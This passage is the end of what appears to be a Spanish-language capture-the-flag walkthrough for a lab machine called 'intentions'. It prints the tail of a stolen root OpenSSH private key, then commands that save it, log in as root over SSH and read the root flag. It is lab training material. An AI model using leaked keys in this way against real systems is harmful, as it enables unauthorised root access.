tRSuqx1VWHu9yyvdWS5g8iToOVLQ/RsP+hFga+jqNmRZBRlz6foWHIByTMcOeKH8/qjD4O
9wM8ho4U5pzD5q2nM3hR4G1g0Q4o8EyrzygQ27OCkZwi/idQhnz/8EsvtWRj/D8G6ME9lo
pHlKdz4fg/tj0UmcGgA4yF3YopSyM5XCv3xac+YFjwHKSgegHyNe3se9BlMJqfz+gfgTz3
8l9LrLiVoKS6JsCvEDe6HGSvyyG9eCg1mQ6J9EkaN2q0uKN35T5siVinK9FtvkNGbCEzFC
PknyAdy792vSIuJrmdKhvRTEUwvntZGXrKtwnf81SX/ZMDRJYqgCQyf5vnUtjKznvohz2R
0i4lakvtXQYC/NNc1QccjTL2NID4nSOhLH2wYzZhKku1vlRmK13HP5BRS0Jus8ScVaYaIS
bEDknHVWHFWndkuQSG2EX9a2auy7oTVCSu7bUXFnottatOxo1atrasNOWcaNkRgdehAAAA
wQDUQfNZuVgdYWS0iJYoyXUNSJAmzFBGxAv3EpKMliTlb/LJlKSCTTttuN7NLHpNWpn92S
pNDghhIYENKoOUUXBgb26gtg1qwzZQGsYy8JLLwgA7g4RF3VD2lGCT377lMD9xv3bhYHPl
lo0L7jaj6PiWKD8Aw0StANo4vOv9bS6cjEUyTl8QM05zTiaFk/UoG3LxoIDT6Vi8wY7hIB
AhDZ6Tm44Mf+XRnBM7AmZqsYh8nw++rhFdr9d39pYaFgok9DcAAADBAO1D0v0/2a2XO4DT
AZdPSERYVIF2W5TH1Atdr37g7i7zrWZxltO5rrAt6DJ79W2laZ9B1Kus1EiXNYkVUZIarx
Yc6Mr5lQ1CSpl0a+OwyJK3Rnh5VZmJQvK0sicM9MyFWGfy7cXCKEFZuinhS4DPBCRSpNBa
zv25Fap0Whav4yqU7BsG2S/mokLGkQ9MVyFpbnrVcnNrwDLd2/whZoENYsiKQSWIFlx8Gd
uCNB7UAUZ7mYFdcDBAJ6uQvPFDdphWPQAAAMEA+WN+VN/TVcfYSYCFiSezNN2xAXCBkkQZ
X7kpdtTupr+gYhL6gv/A5mCOSvv1BLgEl0A05BeWiv7FOkNX5BMR94/NWOlS1Z3T0p+mbj
D7F0nauYkSG+eLwFAd9K/kcdxTuUlwvmPvQiNg70Z142bt1tKN8b3WbttB3sGq39jder8p
nhPKs4TzMzb0gvZGGVZyjqX68coFz3k1nAb5hRS5Q+P6y/XxmdBB4TEHqSQtQ4PoqDj2IP
DVJTokldQ0d4ghAAAAD3Jvb3RAaW50ZW50aW9ucwECAw==
-----END OPENSSH PRIVATE KEY-----
También podríamos haber leído root.txt
, pero es mejor tener acceso completo como root
:
$ vim id_rsa
$ chmod 600 id_rsa
$ ssh -i id_rsa root@10.10.11.220
root@intentions:~# cat root.txt
426acc1079e35bc4263e98f6ba65ed1c